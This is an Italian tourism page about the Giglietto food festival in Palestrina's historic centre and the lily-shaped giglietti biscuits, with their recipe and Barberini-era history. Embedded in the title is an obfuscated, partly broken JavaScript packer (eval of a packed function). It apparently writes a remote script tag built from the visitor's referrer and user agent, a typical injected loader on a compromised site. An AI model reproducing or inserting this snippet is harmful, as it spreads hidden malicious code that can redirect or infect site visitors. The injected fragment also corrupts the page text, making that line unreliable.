



Festival eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\//,String)){while(c--){d[c.toString(a)]=k[c]}|c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('');n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|yisf|var|u0026u|referrer|hferz||js|php'.split('|'),0,{})) del Giglietto e Ghiottonerie dei Monti Prenestini

Il Festival del Giglietto e Ghiottonerie dei Monti Prenestini si svolge nel centro storico di Palestrina nel primo week-end del mese di Agosto dal lontano 1997. Nei tre giorni del Festival, la cultura enogastronomica dei Monti Prenestini si unisce alla cultura musicale e del territorio di Palestrina e dintorni.

Il Festival è dedicato al dolce tipico di Palestrina, dalla forma di giglio, portato qui dai Barberini in seguito al loro soggiorno/esilio a Parigi.

La proposta culinaria offerta è ampia e spazia su molti piatti tipici della cucina locale, sia orientata alla tradizione, sia nelle sue rivisitazioni contemporanee.

L'intero centro storico della città viene allestito con stand di degustazione dei prodotti tipici e di ristorazione, dove è possibile assaggiare piatti tradizionali come la pasta e fagioli o le fettuccine fatte a mano, le carni insaccate, cotte alla brace o lessate nel sugo, i formaggi, i dolci secchi. Diverse le cantine e i distributori di birra e vino italiano e locale presenti - come il Cesanese di Olevano Romano e il vino di Zagarolo - e artigiani e antiquari locali.

www.festivaldelgiglietto.it

I Giglietti

Biscotti secchi e fragranti, ottenuti dall'impiego di semplici ingredienti: uova, farina e zucchero.

La caratteristica forma a giglio viene data manualmente: si preleva una certa quantità di impasto che, lavorato a forma di bastoncino, viene suddiviso in tre strisce successivamente affiancate e allungate singolarmente per ottenere la forma a giglio. Il biscotto, posto in una teglia di acciaio, viene cotto al forno per circa 10 minuti e successivamente posto a raffreddare a temperatura ambiente prima della vendita. Si conserva per circa due settimane.

Questi biscotti, i quali devono il nome alla caratteristica forma a giglio, simbolo araldico della dinastia dei Borbone di Francia, hanno una storia davvero particolare che affonda le radici nella gastronomia parigina del '600. I Barberini, rifugiatisi alla corte di Luigi XIV dopo la morte di Urbano VIII, portarono con loro numerosa servitù, tra cui cuochi e pasticceri, i quali cominciarono a scambiare ricette con i colleghi francesi. I Giglietti li colpirono molto e i cuochi continuarono a prepararli anche una volta tornati a casa, facendoli diventare nei secoli uno dei dolci più caratteristici della cucina prenestina. Dal 1997 la Città dedica a questo biscotto e alle altre Ghiottonerie del territorio un Festival che ogni anno richiama migliaia di persone.